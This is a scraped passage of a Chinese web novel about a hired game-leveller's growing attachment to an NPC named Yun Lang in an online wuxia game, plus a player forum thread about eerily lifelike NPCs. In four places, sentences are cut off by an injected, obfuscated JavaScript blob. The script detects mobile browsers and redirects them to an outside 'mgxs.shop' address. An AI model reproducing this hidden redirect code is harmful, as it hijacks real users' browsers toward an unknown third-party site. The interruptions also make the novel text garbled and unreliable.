少女闻言撇嘴,不大喜欢这话,和他讲,我阿兄也喜欢这么说我。 他鬼使神差又问一句:“此刻是我在和你说话,为何要提你阿兄?” …… “她眨眼看我,眼睛比星子还亮。” “……如今想想,那句话实在是太过冒昧,不过她也没还是不生我的气,只多看我一会,又说,你这人啊,当真是莫名其妙。” “摘星阁的酒喝多了吗?那你少喝些,我要先走啦。” …… “此后三年,群英会依旧继续,摘星阁主疏红女感谢她最初解围那次,次次亲送请帖,她也次次皆至。” “她总赢。” “哪怕那些人总说自己是客气,总说留了力气,总说下一年就要全力以赴,她也还是赢。” “……我是不是也该搞个所谓的门派,弄个门主当当?” 那匹马依旧会被她停在桃林附近,还是那片桃林,还是那轮月亮。 他第二次、第三次地去帮她牵住马的缰绳,她也从没反对过。 第三次,他牵着马,能送她出了摘星阁的山门。 …… “这次,她先和我开口了。” “她坐在马上和我说,这几次多谢你,不过之后就不必了。” “我也不知道她为什么忽然这样说,只能问她,是我牵马的技术不好吗?” “她摇头,说那也不是。” “只不过家里那边出了事情,怕是没机会再往这边跑了,倒是忘了问公子哪里人?日后有机会,云娘再上门拜访。” …… “……我当时也不过就是虚长她几岁,面对这三届武道魁首,却平白多了许多劳什子的无用自尊心,竟也有胆子大言不惭的和她说,你我若是有缘,何愁日后江湖不重逢?到时等我创出一番事业,天下人都会帮我告诉你我的名字。” 年少轻狂者,不过如此。 入我相思门,知我相思苦。 偏偏少年人无所畏惧,最不知苦。 …… 少年天才,总是会对未来生出无限光明的畅想,偏偏历史反复无常的刻薄之处便也在此,不过几年之后便是乱世之兆。 纵使写书之人同样天纵英才,哪怕极乐宗门人确实如他所言遍布天下,却也无人回应最初桃林之下的那句邀约了。 …… 后梁官员昏聩无能,无相楼作为漠北眼线早已遍布各处,之后便是后梁旧主为延续几年富贵人生,愿同漠北王庭献上白鹭洲,求得片刻喘息之机。 同年,镇守白鹭洲的安定节度使,后梁旧主胞弟晋侯起兵反抗。各地诸侯纷纷响应,地图在这数年之间反复分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094567|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂变换,最后便是如今的世界地图分布格局。 …… 解佩环深吸一口气,以一种相当陌生的敬畏心,郑重关闭了这份文档。 人玩游戏最怕代入过重。 从头到尾细细翻了一遍这个压缩包,除了各种地图角落收集来的碎片式信息,余下的就是各种视频剪辑,以及开服那段时间的辅助人物分析,恨不得连她随意一抬手代表了什么言外之意都能扒拉出来一片小作文…… 到目前为止,还在理解范围内。 极乐宗的门派任务受初代宗主影响,收集情报信息的特别多。 而南乡子大概一开始真的纯粹只是为了做任务收集情报,可收集到了最后,看着大量充斥着个人主观情绪的输出分析,究竟是纯粹为了任务,还是为了自己的私心……? 至少换做自己,肯定做不出来这个压缩包。 解佩环顿了顿,重新敲开了那个对话框:“佬,这个啥意思。” 南乡子不满:“什么啥意思,字面意思,开服到现在的全部重要文案都在这儿了,顺便给你科普一下剧情和世界观。” 解佩环揉揉眉头,觉得有点头疼:“不er,这怎么全都是和你们极乐宗有关系的啊?摘星阁呢?漠北王庭呢?她老家白鹭洲的事呢?这么一大串怎么全都没写啊!??” 对面完全不在意这点反驳:“你说的这几个都没开,而且你点开云娘现在个人介绍就能发现,就是‘云琅’,和背景文案里提的邵氏女半点不挨边。联想一下现在的白鹭洲归了晋侯,查不到当代城主的信息,这种情况都说不准对面是个什么虐心剧情。 倒是极乐宗的相关剧情从开服就藏着了,我派开服就卖成这样,你还想说啥。” 解佩环:“……” 代练小哥剧情初初入坑,对对面大佬的娴熟反驳感到震撼,愤怒,并且理解不了。 “那再卖不也是极乐宗门主的事情吗?哥们,门派归属感不是这么玩的。” 南乡子这句反驳奇快无比:“我派掌门开服剧情就噶了。” “换句话说,当年的约定已经有一人被迫失约,我不能让另一个人再失约。” 解佩环:“……曹贼,那你要这么说人家和摘星阁还有约呢。” 对面再次回应辟谣:“摘星阁阁主是女的,说八百遍你游一般向游戏,不卖百合。” 解佩环深吸一口气:“哥,哥,亲哥。” “我没别的意思哈,就是刚刚重新又过了一遍剧情文案,你说有没有这么一种可能:就是你游看板娘不是在和你派搞捆绑,纯是因为她当年特能打还人缘特别好呢?” 解佩环:“你也说了你游一般向游戏,那为了回避特殊剧情,她就算能从小虞村出去也大概率不会去极乐宗,吧。” 南乡子:“……” 南乡子:“…………” 漫长的沉默,无人发言。 这位和他慷慨分享诸多情报的大佬忽然点通了连麦,人在对面也不说话,在解佩环因为这漫长沉默等到头皮发麻的时候,忽然听得对方阴森森冷笑一声。 “来,你上号来。” 9. 第九章 ——这样的说法很有用,对吧。 特别是让人生气这一点上。 可此前不过萍水相逢的两个人,何必把话说得这样不客气呢?拿出自己过去和客户聊天的好脾气不好吗?继续把人哄得开开心心然后轻描淡写地略过这一茬,不好吗? 解佩环想,也不是不好…… ……大概就是,有那么一点点的,不服气。 那非要说的话,他也有极乐宗的小号,他的技术也相当不错,好像也能理直气壮地说对面说过的这些话——可偏偏对上南乡子,他就是没办法和他一样理直气壮。 归属感不一样吧。 代练小哥无限忧愁地叹了口气。 …… 其他都还好办,唯独门派归属感这件事,这个似乎不是他自己一时半会就能解决的问题。 如果可以的话,他也想冷不丁跳出来一个大佬朋友,和对面引经据典反驳不是这样的,有其他隐藏剧情的不止你们极乐宗,这种东西我们也有啊可恶不要小看我们和看板娘的羁绊啊—— ……嗯。 但是短期内好像找不到这样的人呢。 * 解佩环一边在小虞村挂机一边翻着自己过去的记录,看一会就要长吁短叹一会,直到旁边的云琅有些看不下去了,主动伸手拍拍他的手臂,轻声询问:“少侠,可是有什么棘手难题不好解决?” 解佩环这会也是没怎么带脑子,跟着一转头盯着云琅的眼睛,见她并不回避自己目光,仍是神色关切目不转睛地看着自己,身子一拧下意识就要往云琅身上靠。 ……啊。 他蓦地一呆,中间慢半拍反应过来什么,硬是向后一用力,避开了这有点过分亲密的肢体接触。 自己这还用着老板号呢,可不能乱动。 “也没什么大不了的,”解佩环避开云琅的视线,干脆就这样坐在地上,耷拉着脑袋不去看她,连一向爽朗的声音也多了几分阴阳怪气。 “不过就是和人聊了会天,又顺便知道了一点和你有关的事情……唉,云娘,云娘,你过去认识的人好多呐。” 云琅眨眨眼,忽又稍稍弯腰,饶有兴趣地侧身打量着他的表情。 真生气啦? 对方语气里的怪腔怪调她自然也听得出来,不过她只耐着性子安静打量了一会地上那个自顾自生气的年轻人,确定他就是在因为这个生气后,脸上也挂了几分无奈之色。 “小友,我也不是一直都呆在小虞村的呀,”她哭笑不得地解释,“过去认识的人多了些,很奇怪吗?” 解佩环本来也没多生气,偏偏看她这轻描淡写的反应,那股子憋闷气蹭的一下子又窜起来不少。 “干什么这表情看我,”他翻了个白眼,没好气道,“怎么,觉得我在无理取闹吗?” 那倒没有,单纯觉得还真是小孩脾气。 云琅在心里笑眯眯的感慨,少侠年纪轻,脾气大多来得快去得也快。她年轻时几乎没遇到过什么要她头疼生气的事情,没什么机会体会这样的感觉,稍微上了年纪,回头再看年轻人的风风火火,更多也是觉得新鲜有趣。 “这位小友,我再怎么说已经这个岁数了,认识的人多些也是很正常的。”她仍是维持那个弯腰侧身的姿势,也没随口说几句敷衍的话,见解佩环的脾气还没消下去,干脆拎了裙摆,慢慢在他旁边蹲了下来。 她伸出手指,戳了戳解佩环的胳膊。 “再怎么说,也不好单纯为了这个生气吧?” 对方动作卡了一会,仍维持着那副阴着脸的表情,但默默向旁挪挪屁股,腾出一片地方。 云琅见他仍坚持,好脾气地又问:“怎么,是少侠在外面认识了什么云琅的昔日旧人,在那儿受了什么委屈吗?” “倒也不是。”解佩环的这口气本就撑得不够满,这会被她近距离挨着,也已经无自觉卸去了七八分,只能悻悻道:“就是……听了极乐宗的人提起你和他们初代掌门之间的故事,大多少是有点羡慕的。” 她与人有旧,与许多人都有故事。 然而她和自己的故事是从这一刻才开始的,若没有那段记录倒还好,一旦多了,便仿佛平白多出了近二十年的空白。 解佩环停了停,他以为对方会说一句“这有什么好羡慕的”,或是因此生出几分多余好奇,同他追问那些故事到底是什么…… 可云琅就这样安稳地屈膝坐在他的旁边,静静打量他半晌后,然后才摇摇头,说:“可是小友,你口中故人旧事只是过去,如今坐在我面前的,难道不是你吗?” 解佩环愣了愣,他瞪大眼睛看着云琅,对方脸上神色依旧,与平日里那副模样并无太多差别。 没有殷勤,没有好奇,没有想象中变得柔如春水的亲昵安抚和拉进的肢体距离,她就那样安静地看向自己,可她越安静,越平常,那本不该被真实加载的、莫须有的心跳声,便在解佩环的耳中响得愈发激烈。 “……”他张了张嘴,忽地又用力闭上。 “……说什么话,”再开口时,无需旁人提醒,都能察觉到自己的心虚气弱,仿佛每个字都要鼓足勇气,用满力气从喉咙里挤出去,如此才能维持着表面上的若无其事,“你又不是这样的角色,可别这么和我说话。” 这次,云琅的脸上多了几分货真价实的疑惑:“什么是,这样的角色?” “没什么,”他用力挠挠脑袋,简单粗暴的略过了这个话题:“总之就是……哎呀!你看你和我说这种话,可我现在甚至用的不是我自己的号!” 云琅从善如流地改口:“既然如此,小友用自己本相来找我,这样不就好了?” “说得好简单哦,”解佩环不客气地翻了个白眼,“我大号在外面卡着进不来呢,要不然我天天在这儿转圈就是为了在你院子里挂机吗。” “嗯嗯,是小友心软心善,天天都来这里不为别的,只为帮云琅院子里小狗玩耍解闷,这我知道的。” 云琅笑眯眯的应声,她轻松掠过对方有点恼羞成怒的反应,神色自若地又问:“瘴气虽然是个问题,可若是这里有人接应引导,不知小友是否愿意试一试?” “……” “啊?” 解佩环这次真真切切地愣住了:“还能这么玩吗?可我真的不会被十二郎反手送个远程快递吗?” “这里又不止他一人能往外走啊,”云琅耐心道,“小友若信得过我,云琅也可以试一试。” 解佩环:“诶?你也行吗?” 解佩环忽然恼羞成怒:“这么大的事情,为什么之前不说?” 云琅答得倒也淡定,“此前也没人问过我呀,外乡来的游侠们走了也就走了,除了小友阴差阳错出现在这儿,没有第二人问过我类似的问题。” 代练小哥乐了,但他没忘另外一个关键人物:“是说我这个号,哦也就是柳清江道长,他也没问过?” 云琅也很诚实的摇头。 “从我与小友认识开始,那位道长便没再来过。” 于是解佩环就更乐了。 “好吧,好吧,”他一叠声的应下,喜滋滋的,又有些莫名心虚地和她说,“那我就试了啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094568|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的试了啊——” 他的心脏怦怦跳着,应着云琅也变得认真地眼睛,只觉这一次的心跳声比上一次的恍惚要更清晰剧烈地多,局促引发的心悸感让他的思绪也显得混乱起来,“我会来找你的,你也会来找我的,对吧?” 你会像你之前说的那样,认得出来我的,对吧? 解佩环舔舔嘴唇,迫不及待地、万分紧张地想要塞给她更多的信息,尽己所能的减少一切影响见面的可能:“我大号是血滴子,穿的是深黑色的那套校服,武器双刀,不过这样子在林子里可能不太好找……唉,要不然我现在去买个带发光特效的外观……” “小友,小友……”他的语速越来越快,在整个人绷紧到极限之前,云琅始终柔软和缓的语调叫住了他的喋喋不休,“放轻松些。” 属于女性的那只手虚虚搭在他的手腕上,她温声道:“放松些,小友。” “无需如此紧张,”她说,“我既然允你,就一定认得出来。” 解佩环看着她,好一会,才轻轻说了一句,好。 …… 你不能骗我。 无论如何,只有你不能骗我。 你不是为了这样的理由设计的,你本就不是为了这样的理由存在的。 所以谁都可以,唯独你是绝对不能骗我的。 …… 小虞村半面环山,山崖下古林一望无际,笼着一层终年不散的苍白浓雾。 门派【血滴子】,在游戏内的定位为亦正亦邪的刺客世家,精通毒攻,奇袭,暗杀,服装设计的思路走的也是类似的路子,暗色的修身劲装,潜行匿踪是很方便的,可换个思路来说,就是很不容易被发现的风格。 解佩环在浓雾之中徘徊许久,他不敢往深处走,因为一定会被判定入侵者强制送出去;他也不敢往回走,生怕自己走的稍微远了些,那人就要找不到自己了。 他走了很久。 他走了多久,解佩环自己也记不住,这一刻他分不清虚拟与现实,只知道自己好像可以停下来休息一会,可总有一个念头在催促他,说,再走一步吧。 再多走一步吧,万一就差这一步,她就能找到自己了呢? ……啊。 偏是升起这个念头之后,解佩环又有点想笑了。 怎么还真的对个npc认真成这样…… 简直,荒谬地像个笑话。 于是,他忽然就不想走了,也不想动了,整个人随意找了个地方瘫坐着,静静对着一片虚无的林子发呆。 …… ……“然后呢”? “然后”……他仍坐在那里发呆,也许是不甘,也许是不愿,总之他没有走,他在那个过分安静地角落里,回忆着那个属于更早之前的故事。 再然后,风起了。 风中吹来桃花香,有人影自风中,自雾中,踽踽独行。 她是很好看的,他一直清楚。 而这一刻,解佩环却觉得,她有点太美好了,好得像是一段过于理想的故事,就这样轻而易举地把他嵌入了故事的核心。 他说:“……你居然真的来了。”他又说,“我都以为你不来了。” 云琅想了想,也很认真地点了点头。 “雾色太浓,山路崎岖,确实不好走,这么想也是情理之中。”她温温柔柔地应着,用在小虞村看着他的眼神,看着现在的这一个他。“本来想着走得再慢些比较稳妥,可转念又想,万一呢?万一就差这几步就能更快一些找到小友了呢?” “好在虽然慢了些,结局也不算错过。” 10. 第十章 有外乡人出现在小虞村,这本来不算是什么新鲜事。 可若是在瘴气封山之后、又是由云琅亲自带回来的人,那又是另外一回事。 十二郎本就把那院子盯得紧,本来那冰山脸的道长好些日子没出现他还挺高兴,结果忽然换了另外一个不说,还是个时时刻刻要和云琅站在一起的,顿时也是气不打一处来。 这还不如上一个呢。十二郎阴着脸想,那死道士好歹还保留一点所谓的矜持风度,不至于说时时刻刻都想着往她身边凑; 这个则是衣服黑头发黑心眼子也黑,功法路数更是上不得台面的阴毒狠辣,自己想趁云娘不在的时候把他丢出去都不行。 他年纪轻,又不怎么爱出门与外人交流,一向是个随意将情绪摆在脸上的,趴在墙头上就那么阴森森地盯着,院子里的解佩环看一眼就能猜到这小子又在琢磨什么。 解佩环也不恼,咧开嘴对着墙头龇牙一乐,明晃晃一对双刀直接就放在手边,又活动一下腰间门派配套的附毒针匣,这东西杀伤力不算高,可要清理十二郎那些会爬来爬去的小玩意倒是意外方便得很。 十二郎翻了个白眼,转身跳下去,难得有一次没大呼小叫着跳进来要云琅主持公道,就这样静悄悄地走了。 解佩环有点惊奇,从屋子里端着茶点出来的云琅也觉得奇怪:“难得那小子没闹啊,就这么走了?” 大咧咧坐在院子里那个耸耸肩,嘻嘻笑道:“大概是觉得院子有主了,所以不好意思进来了吧。” 他刚刚才把刷完的装备交易到老板的账号上,如今终于是没了负担,能理直气壮地往这儿一坐。云琅倒也不打扰他,放下茶点后,顺口又问了一句:“村子里医术最好的是石翁,小友若是还觉得身体不适,可以去找他聊聊。” 解佩环本来没想太多,懒洋洋瘫在椅子上一动不动下意识哦了一声,然后才慢半拍地反应过来这居然也是个任务——难度和经验值也都是新手村级别,灰扑扑地挂在任务栏里一点都不起眼。 “没事啦,这个小buff也就是持续二十四小时,完全没什么大影响的……”解佩环下意识解释着,然而一抬头对上云琅笑眯眯的一张脸,又是反射性地瞬间噤声。 女郎语气温文,听着确实是没有半点恼怒不满之意的:“小友?” “好啦好啦……”他悻悻扶着躺椅把手起身,小声嘀嘀咕咕:“我去,我去就是了嘛。” 云琅盯着对方背影,一时间也不知道要不要继续生气。 解佩环不同于她此前认识的那些年轻少侠们,那些孩子初出茅庐,懵懵懂懂,路边摘错毒草都能慌慌张张尖叫着冲回她的院子——少侠们口中的安全区,非要把那一点不起眼的擦伤全部用药泥糊满,如此才能松了一口气。 一想到对方最初可能也是和年轻少侠们差不多的性子,如今却变成这样对瘴毒也满不在乎的姿态,云琅便忍不住有些想叹气。 ……总之,等一下让石翁用些温和的药吧,还有十二郎也是,这次情况比想象中严重,怕是安抚也要多费些功夫。 * 她特意加快了速度,又额外收拾了些东西准备一起带过去,然而等到云琅到了石翁家里时却没见到那个应在的人影。 见女郎停下脚步左右观望,院中身着深蓝小褂的白发老人也是很好耐心,提醒道:“找那外乡人?和先前来过这儿的年轻人们差不多,在我这儿待会就又跑去其他人那里干活了。” 云琅点点头,放下手中的糕点。 “拎着东西来的,怎么,怕老头子我用猛药?”石翁摇摇头,又继续动起手边药杵,慢条斯理地研磨着药粉,“与其花功夫来哄我这不起眼的老东西,不如去哄哄十二郎,那崽子倔脾气上来才是难搞得很哦。” “十二郎自然是要看的,可石翁这边也不能拉下呀。”云琅温声笑道,“看您旁边放的东西,怎么,是在给新来的小孩换药方吗?” 石翁吹吹满是药粉的手指,没否认这句话:“那小子修的功法路数也和毒有关,连带着解毒瘴的方子也要跟着调一调;怎么,云娘亲自把人捞进来,难道连这也没注意?” 云琅一挑眉,没错过对方语气里额外多出的几分冷淡不满。 这是埋怨她随手从外面捞人回来了。 她放缓语气,神色也显得恭敬些,转身看向院中老人,轻声询问:“……您这是有话要说呀。” “哈,也不是什么大事情,”石翁淡淡道,他瞧着本来是有气的,可目光对上云琅那张率先染上温顺愧疚的脸,这口气便也提前卸去了七八分。 老人无奈,到底还是换了语气:“……无非也就是需要云娘这些日子帮忙盯着些十二郎,要他别再到处乱跑,乖乖在村子里呆着。” 云琅反应很快。“您在担心什么?担心这里会有更多的外乡人吗?” 石翁点点头,又摇摇头。“我知道你想说什么,若是许久之前那种初出茅庐的毛头小崽子们,我自然是不怕的。” “那样的年轻人,走远了就不会回来,就算入了江湖招惹了多少风波,总归也落不到咱们这个小村子的头上,” 石翁停下手中动作,沉沉叹了口气,“可后进来的这些个又不一样了,那些个武功大成,风尘仆仆的江湖客,身上都是见过血的。容他们在村子里长住,日后又会发生什么?” 老人叹口气,说:“云娘,你该懂我,我老了,担不起这个风险。” “索性十二郎对外面也没什么太大兴趣,阿芷年纪更小,还什么都不懂,正是好时候。”石翁轻声道,“我现在把他们带回去,没有多少人会觉得舍不得。” 云琅就坐在他的对面,安安静静地听着,自始至终都没有打断过老人的话。 “你也一起收拾东西吧,”石翁说,语气也换了老人看待小辈时特有的语重心长,“好在和外面牵扯的也不多,十二郎喜欢你又喜欢得很,按着九黎的风俗,日后你在咱们这儿落户成家,他再赘给你,你也就和外面没什么关联了。” 云琅语气依旧不紧不慢:“可是,石翁……” “哪里还有什么可是,”老人冷声道,“没有可是!” “你的刀已经断了,云娘。”他说,“丫头,你是被我从水里捞回来的,你过去的命都随着那日的水一起流走了,你再如何努力,也续不上你断掉的刀,捞不回当日从你身边流走的水。” 云琅眨眨眼,也不着急反驳。 她耐心等着老人这股子怒气压下去几分,然后才又慢吞吞地说:“可是,石翁……” 石翁眉头一挑,顿时又要发怒:“哎呀,你这个丫头——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094569|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云琅弯起眼睛,丝毫没有被对方影响的意思:“我只是想说,村子的人要走,我不反对,但我要留下。” “这也是为了大家好,石翁。”就这一句话,硬生生叫停了老人的不满。 “江湖客身上带血,这是您先说的,”她道,“有一个能进来,如何解决毒瘴便不是秘密。于情,人是被我亲自带回来的,毒瘴尚未彻底解决,我有照看他的义务,更没办法因为您的几句话就这样扔下他不管; 于理,您晓得我当日进村的样子有多糟糕,背后自然也是带着许多麻烦,所以村子的大家可以走,唯独我留下来,反而最好。” 石翁看她好久,然后才轻轻一咋舌:“你这样,日后十二郎怕不是又要闹脾气。” “这不也是好事?”云琅笑道,“会因为这种事情生气,就说明他暂且还没什么其他需要忧愁费心的大事。” “就是因为你对他总是这个态度,那小子才总爱黏在你身边不撒手的,”石翁叹气摇头,到底还是松了口,“既然如此,我就不管你了,十二郎那边我也管不起,他要如何……便如何吧。” 云琅点头说好,两人又就着其他一些细节问题简单商量了一会,大致差不多后,云琅这才起身,拎着石翁递来的解瘴毒的药,准备离开了。 …… 新手村的任务也是简单,基本都是些熟悉操作和游戏内容的简单工作,解佩环不执着刷满所有人好感度,大致溜达一圈了解人物也就差不多了。拎了一兜子乱七八糟的小玩意,慢悠悠地往回走。 这一走,便遇上在路口等待自己的云琅。 她仿佛早知道自己会从这儿走,一身素色常服,头发也只简单用发带束起,解佩环站在她身边时,恍惚间总是有种一日劳作结束,踩着傍晚余晖并肩回家的松弛感。 “我去石翁那儿帮你拿了些药,能缓解瘴毒用。”她开口说,语气自然,“小友日后若是要再来,总不好次次都这样费时费力。” 解佩环心思一动,下意识升起的却是几分微妙不满,他俯下身子和云琅拉近距离,委屈巴巴地问道:“怎么,下次云娘就不来接我了吗?” “怎么会?”云琅有些诧异地看他一眼,“只是想着应该想办法解决一下外面的瘴气了,这样小友来找我也能更轻松随意些,不好吗?” “那当然是很好的,”解佩环喜滋滋道,正准备再说一句倒也不用这样费劲儿,我这个号一直留在这里陪你不就得了,然而话没出口,就听得系统发出了一声清晰地提示音: …… 系统公告!门派血滴子·少侠[解佩环]成功触发一级世界公共奇遇·【归乡路】 任务npc:云琅 任务地点:小虞村 任务道具:[特殊的药包] 任务描述:外乡人啊,江湖路远,可还记得那条最初的归乡路? 前往清溪镇附近,本地特产的某些特殊药材说不定可以短暂化解弥漫的毒瘴,找回那条可以回去小虞村的路。 任务进度:帮助解开小虞村的毒瘴(0\????) …… 不知为何,原本走在云琅身边的解佩环突然停下了脚步,目光怔怔看向半空中,本来满是羞涩愉悦的表情也瞬间变得极为微妙。 草。 ……草。 11. 第十一章 游戏内系统公告发布后不到半小时,论坛直接就炸了。 除了一窝蜂滋儿哇乱叫开始报团乱哭的,喊着有生之年官方放饭我终于能再次见到我推赞美运营的,惯例质疑官方内部是不是策划重组,换回了薛定谔的第一代真爱策划的…… 在各种各样乱七八糟的声音中,逐渐有一道质疑的声音愈发清晰,剑锋直指内部,语气痛心疾首。 这个任务哪里接的,这个任务地点怎么刷出来的? 同志们,我们之中出了个叛徒。 下面回复说哥们来点我们不知道的。 【…… 4L:这难道还用猜吗,大概率就是之前论坛发帖炫耀那小子了,目前为止除了他还有谁能用回游号成功卡进小虞村吗? 5L:不一定吧,之前相思引大佬不是到处刷悬赏去了吗,那里面的名字没有今天这个啊。今天公告的这小子入坑时间很晚的,手里七八个号都是真人代打,与其说是回游那个的小号,不如说大概率是回游老哥不想出新手村,找人代练帮忙刷材料去了。 6L:笑死,老哥知道自己被代练偷家了吗。这会怕不是拼命往回跑呢吧。 7L:够呛能成,这会清溪镇地图早排满了……话说你游不是凉透心全都是*人吗这个公告不是刚出半小时吗???这个[该地区排队人数过多,请玩家耐心等待啥意思]!??? 8L:人在清溪镇,刚下传送。好多人啊.jpg。 顺带一提,公告应该就是字面意思,这里npc日常摆摊的都撤了不少,街上到处都是维护纪律的官府npc,讲个乐子,知道后面排队的是怎么进来的吗?街上有人闲着无聊开始pvp打架,结果掀了人家摊子被官府撵出去了[乐] 9L:…… 诶我有一个想法.jpg 10L:知道你在想啥,但你先别想。 清溪镇和小虞村的地图都划在南诏里面了,在这乱开仇杀悬赏刷地方小心连着本人一起被送快递哈。】 帖子内部又是一轮新的怨声载道,本来游戏的高度真实感是最初的宣传点也是不少人的入坑关键,可到了这种时候也难免有人不高兴:说到底不过是个游戏,在这种地方这么较真做什么? 这问题也算老生常谈,索性能排进地图的本就少数,即使寥寥几个排进去了也只是对着乌泱泱的人群,一时半会也不知道能干什么。论坛不少人闲着没事,又就这个问题顺便展开了一下讨论: 有人反对高代入感,觉得策划在无聊的地方浪费太多产能,影响了正常的主线产出;也有人依旧全力支持,表示自己玩这游戏就是冲着npc的活人感来的,他现在依旧能坚持每天上号的理由就是这个,和npc聊天永远不用担心刻板重复的对话,总能刷出来新乐子。 但聊着聊着,这里面又出现了另一种声音。 【…… 44L:就是说,这么大规模的行动真的不会出问题吗? 45L:哥们你到底想说啥。 46L:真就字面意思来着,你游npc智能程度堪比活人是出了名的,这种还没刷新进度条的公共任务日后肯定还会有更多人过来做任务,现在人就这么多,万一以后真的清溪镇挤爆了或者在当地引来了无相楼注意力,打算怎么办? 47L:不是,楼上聊几句npc活人度高也就是随便聊个天也没别的意思,哥们你还跟着上纲上线了?无相楼那几个固定刷新点我都背下来了,还能因为这种任务刷新过来? …… 56L:我是楼上那个提问的,简单看了一下,感觉大家好像误会了我的意思。 首先说一句我不是看板娘厨子所以各位不用特别针对我,其次提醒一下,无相楼的几个关键据点我也都知道,确实距离小虞村和清溪镇都很远,但我之前为了刷材料,在白鹭洲附近那几个点位刷得比较频繁来着。 57L:不是看板娘厨子,但是放着地图中间那几个野怪区域不去去白鹭洲刷高难度精英怪……嗯,你继续。 58L:说了我不是看板娘厨子,我纯跟着门派任务扒剧情的时候觉得她特别不顺眼来着。喜欢去白鹭洲是因为精英怪掉的材料更好用。 …… 话说回来,说那几个印象特别深刻的精英据点。 众所周知,看板娘的真正老家是白鹭洲锦官城,白鹭洲的地图上面就是漠北,然后因为后梁皇帝的骚操作,这块地图准备卖给人家,虽然没成功但也就差一步,所以无相楼的据点在那附近的特别多。 后来晋侯那个*的横戈营也跟着搀和进来了,几方势力都在这儿抢,就导致这地方的怪反应快血条厚,搞暗杀埋伏被发现的几率特别高,本体也贼他**的难打。 锦官城有自己的内门弟子,但是不出来也不干活,云琅知道自己走了这地方直接彻底废成一坨**吗?不过其他地方横戈营的会管,但是也不知道是避嫌还是啥原因,总之就是会特意绕开锦官城的几个关键区域。 我之前就喜欢去那几个地方刷,人多,奖励多,操作跟上来了打的也爽。打完了锦官城的人还会给我发区域好感度,笑死,她走了以后这的人比想象中更废物垃圾,我是啥人都不知道还和我说谢谢呢。 后来,嗯,也没有特别后来,时间大概就是新手村那边开始卡人的时候吧,不到四十八小时吧,我就觉得这地方的无相楼打起来手感不对。 59L:啊,嗯…… 60L:大哥你这……唉算了你继续吧。 61L:俺们村里人没见过世面,你们城里人管这个叫黑子是吗?(痴呆.jpg) 62L:城巴佬也不懂,我们刚通网来着。 …… 69L:不知道楼上几个啥意思,都说了我又不是看板娘厨子,你们不用这么防着我,我又没把她当老婆。 说回正事,说手感不对,该说不说这游戏的npc活人程度确实全网断层级别的独一档,之前还就是单纯不好打,但那几个地方我都摸透了,所以就算无相楼的分散攻击也没有特别难。 不过就是云琅彻底不露面之后,这几个地方的野怪,不说是更难打了,就是,嗯,怎么说呢。 更像活人了。 ……总之那几次我打得前所未有的吃力,他们知道我的攻击路数,也知道怎么闪躲格挡,后来是被几个路过巡逻的横戈营帮了才没把号废在哪儿,之后我再去的时候,就发现那几个无相楼的据点被撤了,哥也是荣登对面通缉榜高分名单,短期内估计没办法单人闲逛了。 顺带一提,横戈营的之前从来不在那儿巡逻,去他们营帐里问了,是副将参考无相楼的行动规则新改的巡逻路线,我还以为这玩意纯固定呢。】 …… 通常来讲,玩家分享自己的游戏体验没什么稀奇的,哪怕把npc当做活人对待一般也不会特意针对,顶多吐槽一句哎呀真上头啊也就笑笑过去了。 可这帖子里的某位说得煞有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094570|195606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其事,受他影响,也有几个跟帖回复,讲了讲自己在游戏里遇到的那些堪比活人的npc。 到目前为止,讨论的范围仍然还是游戏体验本身,以及少部分自诩理中客的家伙,跳出来大开嘲讽。 …… 游戏里的奇遇公告出现到现在,尚还没有出现引导npc和任何活动线索。 也有不少在游戏里无所事事的玩家顺便在论坛里溜达,围观一群人聊得热火朝天,其中也有几个对所谓的“警惕无相楼”的特殊言论产生了额外的好奇心。 清溪镇的地图范围并不大,冲进来的玩家虽然多,但大概是出于游戏官方素来宣传的“尊重实际代入感”的因素影响,并不至于是人挤人到寸步难行的程度,几个玩家特意换上了当地风格的普通外装在镇子里到处逛来逛去,试图以此来寻找一些所谓的潜在线索。 